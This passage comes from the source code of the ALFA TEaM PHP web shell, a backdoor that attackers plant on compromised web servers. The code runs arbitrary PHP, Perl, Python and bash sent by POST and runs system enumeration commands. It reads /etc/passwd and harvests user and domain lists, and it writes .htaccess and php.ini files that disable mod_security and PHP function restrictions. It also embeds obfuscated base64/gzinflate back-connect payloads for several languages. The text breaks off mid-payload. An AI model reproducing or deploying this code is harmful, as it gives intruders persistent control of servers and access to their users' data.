&lt;\/span>\".$width.\" x \".$height.\"&lt;span> ]&lt;\/span>&lt;br>\";\nif($width > 800){$width = 800;}\necho $content = \"&lt;div class='editor-view'>&lt;div class='view-content'>&lt;center>\".$image_info_h.\"&lt;br>&lt;img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:\".$image_info&#91;'mime'].\";base64,\".$source.\"' alt='\".$file.\"'>&lt;\/center>&lt;\/div>&lt;\/div>&lt;br>\";\n}\nbreak;\n}\necho '&lt;\/div>';\nalfaFooter();\n}\nfunction findicon($file,$type){\n$s = 'http:\/\/solevisible.com\/icons\/';\n$types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');\nif($type!='file'){\nreturn ($file=='..'?$s.'back.png':$s.'folder.png');\n}else{\n$ext = explode('.',$file);\n$ext = end($ext);\n$ext = strtolower($ext);\nreturn (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');\n}\n}\nfunction alfadlfile(){\nif(isset($_POST&#91;'c'],$_POST&#91;'file'])){\n$basename = rawurldecode(basename($_POST&#91;'file']));\n$_POST&#91;'file'] = str_replace(\"\/\/\", \"\/\", $_POST&#91;'c'].'\/'.$basename);\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\nif(@is_file($_POST&#91;'file']) &amp;&amp; @is_readable($_POST&#91;'file']) || $alfa_canruncmd){\nob_start(\"ob_gzhandler\", 4096);\nheader(\"Content-Disposition: attachment; filename=\\\"\".addslashes($basename).\"\\\"\");\nheader(\"Content-Type: application\/octet-stream\");\nif($GLOBALS&#91;\"glob_chdir_false\"]){\n$randname = $basename.rand(111,9999);\n$scriptpath = dirname($_SERVER&#91;\"SCRIPT_FILENAME\"]);\n$filepath = $scriptpath.\"\/\".$randname;\nif(_alfa_is_writable($scriptpath)){\nalfaEx(\"cp '\".addslashes($_POST&#91;\"file\"]).\"' '\".addslashes($filepath).\"'\");\nreadfile($filepath);\n@unlink($filepath);\n}else{\nalfaEx(\"cat '\".addslashes($_POST&#91;\"file\"]).\"'\");\n}\n}else{\nreadfile($_POST&#91;'file']);\n}\n}else echo('Error...!');}}\nfunction __alfa_set_cookie($key, $value){\n$_COOKIE&#91;$key] = $value;\n@setcookie($key, $value, time()+(86400 * 7), '\/');\n}\nfunction alfaphpeval(){\nif(isset($_COOKIE&#91;\"eval_tmpdir\"])&amp;&amp;@is_dir($_COOKIE&#91;\"eval_tmpdir\"])){\n$tempdir = __ZGVjb2Rlcg($_COOKIE&#91;\"eval_tmpdir\"]);\n}else{\n$tempdir = dirname(alfaEx(\"mktemp\"));\n__alfa_set_cookie(\"eval_tmpdir\", __ZW5jb2Rlcg($tempdir));\n}\nalfahead();\nif(isset($_POST&#91;'alfa2']) &amp;&amp; ($_POST&#91;'alfa2'] == 'ini')){\necho '&lt;div class=header>';\nob_start();\n$INI=ini_get_all();\nprint '&lt;table border=0>&lt;tr>'\n.'&lt;td class=\"listing\">&lt;font class=\"highlight_txt\">Param&lt;\/td>'\n.'&lt;td class=\"listing\">&lt;font class=\"highlight_txt\">Global value&lt;\/td>'\n.'&lt;td class=\"listing\">&lt;font class=\"highlight_txt\">Local Value&lt;\/td>'\n.'&lt;td class=\"listing\">&lt;font class=\"highlight_txt\">Access&lt;\/td>&lt;\/tr>';\nforeach ($INI as $param => $values)\nprint \"\\n\".'&lt;tr>'\n.'&lt;td class=\"listing\">&lt;b>'.$param.'&lt;\/td>'\n.'&lt;td class=\"listing\">'.$values&#91;'global_value'].' &lt;\/td>'\n.'&lt;td class=\"listing\">'.$values&#91;'local_value'].' &lt;\/td>'\n.'&lt;td class=\"listing\">'.$values&#91;'access'].' &lt;\/td>&lt;\/tr>';\n$tmp = ob_get_clean();\n$tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);\n$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);\necho str_replace('&lt;h1','&lt;h2', $tmp) .'&lt;\/div>&lt;br>';\n}\nif(isset($_POST&#91;'alfa2']) &amp;&amp; ($_POST&#91;'alfa2'] == 'info')) {\necho '&lt;div class=header>&lt;style>.p {color:#000;}&lt;\/style>';\nob_start();\nphpinfo();\n$tmp = ob_get_clean();\n$tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);\n$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);\necho str_replace('&lt;h1','&lt;h2', $tmp) .'&lt;\/div>&lt;br>';\n}\nif(isset($_POST&#91;'alfa2']) &amp;&amp; ($_POST&#91;'alfa2'] == 'exten')) {\necho '&lt;div class=header>';\nob_start();\n$EXT=get_loaded_extensions();\necho '&lt;table border=0>&lt;tr>&lt;td class=\"listing\">'.implode('&lt;\/td>&lt;\/tr>'.\"\\n\".'&lt;tr>&lt;td class=\"listing\">', $EXT).'&lt;\/td>&lt;\/tr>&lt;\/table>'.count($EXT).' extensions loaded';\necho '&lt;\/div>&lt;br>';\n}\n$lang_html = \"\";\nforeach(array(\"php\"=>\"php ~> &#91; Windows \/ Linux ]\",\"perl\"=>\"perl ~> &#91; Linux ]\",\"python\"=>\"python ~> &#91; Linux ]\",\"bash\"=>\"bash ~> &#91; Linux ]\") as $key=>$val){$lang_html .= '&lt;option value=\"'.$key.'\" '.($_POST&#91;\"alfa3\"]==$key?\"selected\":\"\").'>'.$val.'&lt;\/option>';}\necho '&lt;div class=header>&lt;Center>&lt;a href=javascript:void(0) onclick=\"g(\\'phpeval\\',null,\\'\\',\\'ini\\')\">| INI_INFO | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'phpeval\\',null,\\'\\',\\'info\\')\"> | phpinfo |&lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'phpeval\\',null,\\'\\',\\'exten\\')\"> | extensions |&lt;\/a>&lt;\/center>&lt;br>&lt;form class=\"php-evals\" name=\"pf\" method=\"post\" onsubmit=\"var ace_value=geEvalAceValue(this);g(\\'phpeval\\',null,ace_value,null,this.language.value); return false;\">&lt;div class=\"txtfont\">Select Language: &lt;\/div> &lt;select name=\"language\" style=\"width:300px;\">'.$lang_html.'&lt;\/select>'._alfa_load_ace_options(\"eval\").'&lt;br>&lt;br>&lt;div class=\"bigarea\" style=\"position:relative;\">&lt;div class=\"php-evals-ace\">'.(!empty($_POST&#91;'alfa1'])?htmlspecialchars($_POST&#91;'alfa1']):\"&amp;lt;?php\\n\\n\\techo('hello alfa !');\\n\\n?>\").'&lt;\/div>&lt;\/div>&lt;center>&lt;input type=\"submit\" value=\"\" style=\"margin-top:5px\">&lt;\/center>';\necho '&lt;\/form>&lt;pre id=\"PhpOutput\" style=\"'.(empty($_POST&#91;'alfa1'])?'display:none;':'').'margin-top:5px;\" class=\"ml1\">';\nif(!empty($_POST&#91;'alfa1'])){\nif($_POST&#91;'alfa3']==\"php\"){\nob_start();\neval('?>'.$_POST&#91;'alfa1']);\n$result = htmlspecialchars(ob_get_clean());\n}elseif(_alfa_can_runCommand()&amp;&amp;$GLOBALS&#91;\"sys\"]==\"unix\"){\n$lang = $_POST&#91;'alfa3'];\n$filename = \"temp\".rand(11111,99999);\n$temp = $tempdir.\"\/\".$filename ;\n__write_file($filename, $_POST&#91;'alfa1']);\n$result = alfaEx(\"mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}\");\n@unlink($filename);\n@unlink($temp);\n}\necho '&lt;textarea class=\"bigarea\">'.$result.'&lt;\/textarea>';\n}\necho '&lt;\/pre>&lt;\/div>';\nalfafooter();\n}\nfunction __pre(){return('&lt;pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">');}\nfunction alfaproc()\n{\nalfahead();\necho \"&lt;Div class=header>&lt;br>&lt;center>\";\nif(empty($_POST&#91;'ajax'])&amp;&amp;!empty($_POST&#91;'alfa1']))\n$_COOKIE&#91;md5($_SERVER&#91;'HTTP_HOST']).'ajax'] = false;\nif($GLOBALS&#91;'sys']==\"win\"){\n$process=array(\n\"Task List\" =>\"tasklist \/V\",\n\"System Info\" =>\"systeminfo\",\n\"Active Connections\" => \"netstat -an\",\n\"Running Services\" => \"net start\",\n\"User Accounts\" => \"net user\",\n\"Show Computers\" => \"net view\",\n\"ARP Table\" => \"arp -a\",\n\"IP Configuration\" => \"ipconfig \/all\"\n);}else{\n$process=array(\n\"Process status\" => \"ps aux\",\n\"Syslog\" =>\"cat \/etc\/syslog.conf\",\n\"Resolv\" => \"cat \/etc\/resolv.conf\",\n\"Hosts\" =>\"cat \/etc\/hosts\",\n\"Cpuinfo\"=>\"cat \/proc\/cpuinfo\",\n\"Version\"=>\"cat \/proc\/version\",\n\"Sbin\"=>\"ls -al \/usr\/sbin\",\n\"Interrupts\"=>\"cat \/proc\/interrupts\",\n\"lsattr\"=>\"lsattr -va\",\n\"Uptime\"=>\"uptime\",\n\"Fstab\" =>\"cat \/etc\/fstab\"\n);}\nforeach($process as $n => $link){\necho '&lt;a href=\"javascript:void(0);\" onclick=\"g(\\'proc\\',null,\\''.$link.'\\')\"> | '.$n.' | &lt;\/a>';\n}\necho \"&lt;\/center>&lt;br>\";\nif(!empty($_POST&#91;'alfa1'])){\necho \"&lt;pre class='ml1' style='margin-top:5px' >\";\nif($GLOBALS&#91;\"glob_chdir_false\"]&amp;&amp;!empty($_POST&#91;\"c\"])){$cmd = \"cd '\".addslashes($_POST&#91;\"c\"]).\"';\";}\necho alfaEx($cmd.$_POST&#91;'alfa1'], true);\necho '&lt;\/pre>';\n}\necho \"&lt;\/div>\";\nalfafooter();\n}\nfunction alfasafe(){\nalfahead();\necho \"&lt;div class=header>&lt;center>&lt;br>&lt;div class='txtfont_header'>| Auto ByPasser |&lt;\/div>\";\necho '&lt;h3>&lt;a href=javascript:void(0) onclick=\"g(\\'safe\\',null,\\'php.ini\\',null)\">| PHP.INI | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,\\'ini\\')\">| .htaccess(apache) | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,\\'pl\\')\">| .htaccess(LiteSpeed) |&lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,\\'passwd\\')\">| Read-Passwd | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,null,\\'users\\')\">| Read-Users | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,null,null,\\'valiases\\')\">| Get-User | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'safe\\',null,null,null,null,null,null,null,null,\\'domains\\')\">| Get-Domains | &lt;\/a>&lt;\/center>&lt;\/h3>';\nif(!empty($_POST&#91;'alfa8']) &amp;&amp; isset($_POST&#91;'alfa8']) == 'domains'){\nif(!_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\necho __pre();\n$solevisible9 = _alfa_file('\/etc\/named.conf');\nif(is_array($solevisible9)){\nforeach($solevisible9 as $solevisible13){\nif(@eregi('zone',$solevisible13)){\npreg_match_all('#zone \"(.*)\"#',$solevisible13,$solevisible14);\nif(strlen(trim($solevisible14&#91;1]&#91;0])) > 2){\necho $solevisible14&#91;1]&#91;0].'&lt;br>';\n}}}\n}\n}else{\necho __pre();\n$users = _alfa_file(\"\/etc\/virtual\/domainowners\");\nif(is_array($users)){\nforeach($users as $boz){\n$dom = explode(\":\",$boz);\necho $dom&#91;0].\"\\n\";}}}}\nif(!empty($_POST&#91;'alfa6']) &amp;&amp; isset($_POST&#91;'alfa6']) == 'valiases'){\necho '\n&lt;form onsubmit=\"g(\\'safe\\',null,null,null,null,null,null,\\'valiases\\',this.site.value,null,\\'>>\\'); return false;\" method=\"post\" \/>&lt;center>&lt;div class=\"txtfont\">Url: &lt;\/font>&lt;input type=\"text\" placeholder=\"site.com\" name=\"site\" \/> &lt;input type=\"submit\" value=\" \" name=\"go\" \/>&lt;\/form>&lt;\/center>';\nif(isset($_POST&#91;'alfa9']) &amp;&amp; $_POST&#91;'alfa9'] == '>>'){\nif(!_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\n$site = trim($_POST&#91;'alfa7']);\n$rep = str_replace(array(\"https:\/\/\",\"http:\/\/\",\"www.\"),\"\",$site);\n$user = \"\";\nif(function_exists(\"posix_getpwuid\") &amp;&amp; function_exists(\"fileowner\")){\nif($user = @posix_getpwuid(@fileowner(\"\/etc\/valiases\/{$rep}\"))){\n$user = $user&#91;'name'];\n}\n}else{\nif(_alfa_can_runCommand(true,true)){\n$user = alfaEx(\"stat -c '%U' \/etc\/valiases\/\".$rep);\n}\n}\nif(!empty($user)&amp;&amp;$user!='root'){\necho __pre().\"&lt;center>&lt;table border='1'>&lt;tr>&lt;td>&lt;b>&lt;font color=\\\"#FFFFFF\\\">User: &lt;\/b>&lt;\/font>&lt;\/td>&lt;td>&lt;b>&lt;font color=\\\"#FF0000\\\">{$user}&lt;\/font>&lt;\/b>&lt;\/td>&lt;\/tr>&lt;tr>&lt;td>&lt;b>&lt;font color=\\\"#FFFFFF\\\">site: &lt;\/b>&lt;\/font>&lt;\/td>&lt;td>&lt;b>&lt;font color=\\\"#FF0000\\\">{$rep}&lt;\/font>&lt;\/b>&lt;\/td>&lt;\/tr>&lt;\/table>&lt;\/center>\";\n}else {echo __pre().'&lt;center>&lt;b>No such file or directory Or Disable Functions is not NONE...&lt;\/b>&lt;\/center>';}\n}else{\n$site = trim($_POST&#91;'alfa7']);\n$rep = str_replace(array(\"https:\/\/\",\"http:\/\/\",\"www.\"),\"\",$site);\n$users = _alfa_file(\"\/etc\/virtual\/domainowners\");\nforeach($users as $boz){\n$ex = explode(\":\",$boz);\nif($ex&#91;0] == $rep){\necho __pre().\"&lt;center>&lt;table border='1'>\n&lt;tr>&lt;td>&lt;b>&lt;font color=\\\"#FFFFFF\\\">User: &lt;\/b>&lt;\/font>&lt;\/td>&lt;td>&lt;b>&lt;font color=\\\"#FF0000\\\">\".trim($ex&#91;1]).\"&lt;\/font>&lt;\/b>&lt;\/td>&lt;\/tr>\n&lt;tr>&lt;td>&lt;b>&lt;font color=\\\"#FFFFFF\\\">site: &lt;\/b>&lt;\/font>&lt;\/td>&lt;td>&lt;b>&lt;font color=\\\"#FF0000\\\">{$rep}&lt;\/font>&lt;\/b>&lt;\/td>&lt;\/tr>&lt;\/table>&lt;\/center>\";break;}}}}}\nif(!empty($_POST&#91;'alfa5']) &amp;&amp; isset($_POST&#91;'alfa5'])){\nif(!_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\necho __pre();\n$i = 0;\nwhile ($i &lt; 60000) {\n$line = @posix_getpwuid($i);\nif (!empty($line)) {\nwhile (list ($key, $vl) = each($line)){\necho $vl.\"\\n\";\nbreak;}}$i++;}\n}else{echo __pre();\n$users = _alfa_file(\"\/etc\/virtual\/domainowners\");\nforeach($users as $boz){\n$user = explode(\":\",$boz);\necho trim($user&#91;1]).'&lt;br>';}}}\nif(!empty($_POST&#91;'alfa4']) &amp;&amp; isset($_POST&#91;'alfa4'])){\necho __pre();\nif(_alfa_can_runCommand(true,true)){echo __read_file(\"\/etc\/passwd\");}elseif(function_exists(\"posix_getpwuid\")){\nfor($uid=0;$uid&lt;60000;$uid++){\n$ara = @posix_getpwuid($uid);\nif(!empty($ara)){\nwhile(list ($key, $val) = each($ara)){\necho \"$val:\";\n}echo \"\\n\";}}\n}else{__alert('failed...');}}\nif(!empty($_POST&#91;'alfa2']) &amp;&amp; isset($_POST&#91;'alfa2'])){\n@__write_file($GLOBALS&#91;'cwd'].\".htaccess\",\"#Generated By Sole Sad and Invisible\\n&lt;IfModule mod_security.c>\\nSec------Engine Off\\nSec------ScanPOST Off\\n&lt;\/IfModule>\");\necho '&lt;center>&lt;b>&lt;big>htaccess for Apache created...!&lt;\/center>&lt;\/b>&lt;\/big>';\n}\nif(!empty($_POST&#91;'alfa1'])&amp;&amp; isset($_POST&#91;'alfa1'])){\n@__write_file($GLOBALS&#91;'cwd'].\"php.ini\",\"safe_mode=OFF\\ndisable_functions=ByPassed By Sole Sad &amp; Invisible(ALFA TEaM)\");\necho '&lt;center>&lt;b>&lt;big> php.ini created...!&lt;\/center>&lt;\/b>&lt;\/big>';\n}\nif(!empty($_POST&#91;'alfa3']) &amp;&amp; isset($_POST&#91;'alfa3'])){\n@__write_file($GLOBALS&#91;'cwd'].\".htaccess\",\"#Generated By Sole Sad and Invisible\\n&lt;Files *.php>\\nForceType application\/x-httpd-php4\\n&lt;\/Files>\\n&lt;IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n&lt;\/IfModule>\");\necho '&lt;center>&lt;b>&lt;big>htaccess for Litespeed created...!&lt;\/center>&lt;\/b>&lt;\/big>';\n}\necho \"&lt;br>&lt;\/div>\";\nalfafooter();\n}\nfunction __get_resource($content){\nreturn @gzinflate(__ZGVjb2Rlcg($content));\n}\nfunction __write_file($file, $content){\nif($fh = @fopen($file, \"wb\")){\nif(fwrite($fh, $content)!==false) return true;\n}\nreturn false;\n}\nfunction bcinit($evalType, $evalCode, $evalOptions, $evalArguments){\n$res = \"&lt;font color='green'>&#91; Success...! ]&lt;\/font>\";\n$err = \"&lt;font color='red'>&#91; Failed...! ]&lt;\/font>\";\nif($evalOptions!=\"\") $evalOptions = $evalOptions.\" \";\nif($evalArguments!=\"\") $evalArguments = \" \".$evalArguments;\nif($evalType==\"c\"){\n$tmpdir = ALFA_TEMPDIR;\nchdir($tmpdir);\nif(is_writable($tmpdir)){\n$uniq = substr(md5(time()),0,8);\n$filename = $evalType.$uniq.\".c\";\n$path = $filename;\nif(__write_file($path, $evalCode)){\n$ext = ($GLOBALS&#91;'sys']=='win')? \".exe\":\".out\";\n$pathres = $filename.$ext;\n$evalOptions = \"-o \".$pathres.\" \".$evalOptions;\n$cmd = \"gcc \".$evalOptions.$path;\nalfaEx($cmd);\nif(is_file($pathres)){\nif(chmod($pathres, 0755)){\n$cmd = $pathres.$evalArguments;\nalfaEx($cmd);\n}else{$res = $err;}\nunlink($pathres);\n}else{$res = $err;}\nunlink($path);\n}else{$res = $err;}\n}\nreturn $res;\n}elseif($evalType==\"java\"){\n$tmpdir = ALFA_TEMPDIR;\nchdir($tmpdir);\nif(is_writable($tmpdir)){\nif(preg_match(\"\/class\\ (&#91;^{]+){\/i\",$evalCode, $r)){\n$classname = trim($r&#91;1]);\n$filename = $classname;\n}else{\n$uniq = substr(md5(time()),0,8);\n$filename = $evalType.$uniq;\n$evalCode = \"class \".$filename.\" { \".$evalCode . \" } \";\n}\n$path = $filename.\".java\";\nif(__write_file($path, $evalCode)){\n$cmd = \"javac \".$evalOptions.$path;\nalfaEx($cmd);\n$pathres = $filename.\".class\";\nif(is_file($pathres)){\nif(chmod($pathres, 0755)){\n$cmd = \"java \".$filename.$evalArguments;\nalfaEx($cmd);\n}else{$res = $err;}\nunlink($pathres);\n}else{$res = $err;}\nunlink($path);\n}else{$res = $err;}\n}\nreturn $res;\n}\nreturn false;\n}\nfunction alfaconnect(){\nalfahead();\n$php=\"7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg\/k8AD9PCQOFVlqnIqyS2ZAyyU\/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No\/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8\/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP\/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY\/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v\/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt\/ych0\/+EkP2ORV8he2nN+gU=\";\n$python=\"pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5\/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P\/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx\/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV\/\/NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O\/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw\/uzQCCxFbiNgW68CaQaFq\/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL\/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz\/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe\/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ\/pJZG5\/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7\/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD\/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy\/3C+Fv5GnNL9Cw==\";\n$perl=\"lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755\/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp\/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05\/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr\/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ\/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si\/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet\/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==\";\n$ruby=\"tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8\/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+\/Dt4enbx6f\/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k\/Xx7c\/\/P0Yr\/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2\/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT\/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0\/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN\/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D\/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu\/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r\/o1z8Mh10ym3nM4lp353m\/8zsHbgkJ82E6WbM\/1kJwz58XKTZ8FG8gs=\";\n$node=\"nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW\/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ\/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx\/HgH9lj76IXY0Mm80Mmg0LuHDFw==\";\n$c=\"tVJtb9owEP7cSv0PHp1ap\/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi\/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3\/XTIcBXH\/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP\/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk\/8QhpBNlp+\/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl\/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==\";\n$java=\"lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93\/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC\/ZptWMEU9Mxv3y8+LNc